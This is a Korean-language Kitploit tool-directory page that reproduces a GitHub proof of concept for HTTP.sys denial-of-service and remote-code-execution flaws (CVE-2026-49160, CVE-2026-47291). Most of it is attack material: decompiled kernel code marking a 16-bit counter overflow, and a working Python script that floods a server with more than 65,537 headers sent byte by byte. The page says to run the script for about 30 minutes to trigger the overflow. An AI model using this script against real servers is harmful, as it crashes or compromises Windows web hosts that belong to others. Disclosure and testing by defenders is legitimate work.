Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-49160-CVE-2026-47291-HTTP.sys — HTTP.sys 서비스 거부 취약점 및 HTTP.sys 원격 코드 실행 취약점 | Kitploit
도구/GitHubGitHub/dhmosfunk/cve-2026-49160-cve-2026-47291-http.sys
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubdhmosfunk/cve-2026-49160-cve-2026-47291-http.sys

CVE-2026-49160-CVE-2026-47291-HTTP.sys

HTTP.sys 서비스 거부 취약점 및 HTTP.sys 원격 코드 실행 취약점

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
522개월 전아직 검토되지 않음

CVE-2026-49160 & CVE-2026-47291 HTTP.sys PoC

HTTP.sys 서비스 거부 취약점
HTTP.sys 원격 코드 실행 취약점

GitHub의 파일 크기 제한으로 인해 이 PoC(CVE-2026-49160)의 데모 비디오는 Releases에 첨부 파일로 호스팅되어 있습니다.

CVE-2026-47291

취약한 코드:

root@kitploit:~
 if ((DAT_0 & 1) != 0) {
            local_e8 = *(int **)(piVar16 + 0x10);
            local_e0 = (char *)ppuVar3;
            WPP_SF_qII(0x408,0x10b,&WPP_35392aa6288d35088b5e7b5e64cc7a3b_Traceguids,piVar16);
          }
          if (*(ushort *)((longlong)piVar16 + 0x642) < *(ushort *)(piVar16 + 400)) {
LAB_8:
            ppuVar1 = ppuVar3 + 4;
            *(undefined ***)
             (*(longlong *)(piVar16 + 0x192) + (ulonglong)*(ushort *)((longlong)piVar16 + 0x642) * 8
             ) = ppuVar3;
            *(short *)((longlong)piVar16 + 0x642) = *(short *)((longlong)piVar16 + 0x642) + 1;
            LOCK();
            iVar10 = *(int *)ppuVar1;
            *(int *)ppuVar1 = *(int *)ppuVar1 + 1;
            UNLOCK();
            if ((UxDebugCheckRefcount != '\0') && (iVar10 + 1 < 0)) {
              UlBugCheckEx(3,ppuVar1,10,(longlong)(iVar10 + 1));
              pcVar4 = (code *)swi(3);
              (*pcVar4)();
              return;
            }
            cVar6 = '\x01';
          }
          else {
            local_e8 = (int *)CONCAT44(local_e8._4_4_,1);
            _Dst = (void *)ExAllocatePool3(0x42,(ulonglong)*(ushort *)(piVar16 + 400) * 8 + 0x28,
                                           0x52526c55,&UxLowPriorityPool);
            if (_Dst != (void *)0x0) {
              memmove(_Dst,*(void **)(piVar16 + 0x192),
                      (ulonglong)*(ushort *)((longlong)piVar16 + 0x642) << 3);
              if (1 < *(ushort *)(piVar16 + 400)) {
                ExFreePoolWithTag(*(undefined8 *)(piVar16 + 0x192),0);
              }
              *(short *)(piVar16 + 400) = (short)piVar16[400] + 5; <- unsigned short 16bit
              *(void **)(piVar16 + 0x192) = _Dst;
              goto LAB_8;
            }
          }
          if ((DAT_0 & 1) != 0) {
            WPP_SF_D(0x408,0x10c,&WPP_35392aa6288d35088b5e7b5e64cc7a3b_Traceguids,cVar6);
          }

이 코드는

root@kitploit:~
import socket, ssl, time

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

raw_sock = socket.create_connection(("hello.lab", 443))
s = ctx.wrap_socket(raw_sock, server_hostname="hello.lab")
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

request = b"GET / HTTP/1.1\r\nHost: hello.lab\r\nConnection: keep-alive\r\n"
for i in range(0xFFFF+2):
    request += f"X-Pad-{i}: value{i}\r\n".encode()
request += b"\r\n"

for b in request:
    s.send(bytes([b]))

try:
    response = s.recv(4096)
    print(response)
except ConnectionResetError as e:
    print("Connection reset:", e)

print("Connection held open. Press Ctrl+C to close.")
try:
    while True:
        time.sleep(1)
except KeyboardInterrupt:
    print("Closing.")
    s.close()

카운터 값을 +5 증가시킵니다.

버퍼가 수신될 때마다 카운터가 +5씩 증가하므로 스크립트를 약 30분 동안 실행하세요...

트리거된 오버플로우 image

디버거의 카운터: image

도구 다운로드